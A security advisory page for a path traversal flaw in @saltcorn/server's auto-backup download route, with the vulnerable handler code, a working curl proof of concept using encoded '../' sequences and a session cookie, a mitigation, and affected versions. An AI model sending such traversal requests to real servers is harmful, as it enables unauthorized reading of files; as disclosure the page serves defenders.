Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS0yNzdoLXB4NG0tNjJxOM4AA_8O

@saltcorn/server arbitrary file zip read and download when downloading auto backups

Summary

A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to res.download API.

Details

router.get(
  "/auto-backup-download/:filename",
  isAdmin,
  error_catcher(async (req, res) => {
    const { filename } = req.params; // [1] source
    [...]
    if (
      !isRoot ||
      !(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2]
    ) {
      res.redirect("/admin/backup");
      return;
    }
    const auto_backup_directory = getState().getConfig("auto_backup_directory");
    res.download(path.join(auto_backup_directory, filename), filename); // [3] sink
  })
);

Steps to reproduce (PoC)

echo "secret12345" > /tmp/secret.zip
cat secret.zip
secret12345
curl -i -X $'GET' \
    -H $'Host: localhost:3000' \
    -H $'Connection: close' \
    -b $'connect.sid=VALID_CONNECT_SID_COOKIE' \
    $'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'

NOTE:
To obtain a valid connect.sid cookie, just open the developer console while logged and retrieve the cookie value.

Impact

Arbitrary zip files download (information disclosure).

Recommended Mitigation

Resolve the filename parameter before checking if it starts with backup_file_prefix .

Permalink: https://github.com/advisories/GHSA-277h-px4m-62q8
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNzdoLXB4NG0tNjJxOM4AA_8O
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: 14 days ago
Updated: 14 days ago


CVSS Score: 4.4
CVSS vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N

Identifiers: GHSA-277h-px4m-62q8
References: Repository: https://github.com/saltcorn/saltcorn
Blast Radius: 4.9

Affected Packages

npm:@saltcorn/server
Dependent packages: 8
Dependent repositories: 13
Downloads: 3,622 last month
Affected Version Ranges: <= 1.0.0-beta.13
Fixed in: 1.0.0-beta.14
All affected versions: 0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.0.6, 0.0.7, 0.0.8, 0.0.9, 0.1.0, 0.1.1, 0.1.2, 0.1.3, 0.1.4, 0.2.0, 0.2.1, 0.2.2, 0.2.3, 0.3.0, 0.3.1, 0.3.2, 0.3.3, 0.3.4, 0.3.5, 0.4.0, 0.4.1, 0.4.2, 0.4.3, 0.4.4, 0.4.5, 0.5.0, 0.5.1, 0.5.2, 0.5.3, 0.5.4, 0.5.5, 0.5.6, 0.6.0, 0.6.1, 0.6.2, 0.6.3, 0.6.4, 0.7.0, 0.7.1, 0.7.2, 0.7.3, 0.7.4, 0.8.0, 0.8.1, 0.8.2, 0.8.3, 0.8.4, 0.8.5, 0.8.6, 0.8.7, 0.8.9, 0.9.0, 0.9.1, 0.9.2, 0.9.3, 0.9.4, 0.9.5, 0.9.6, 0.9.7, 0.9.8, 1.0.0-beta.0, 1.0.0-beta.1, 1.0.0-beta.2, 1.0.0-beta.3, 1.0.0-beta.4, 1.0.0-beta.5, 1.0.0-beta.6, 1.0.0-beta.7, 1.0.0-beta.8, 1.0.0-beta.9, 1.0.0-beta.10, 1.0.0-beta.11, 1.0.0-beta.13
All unaffected versions: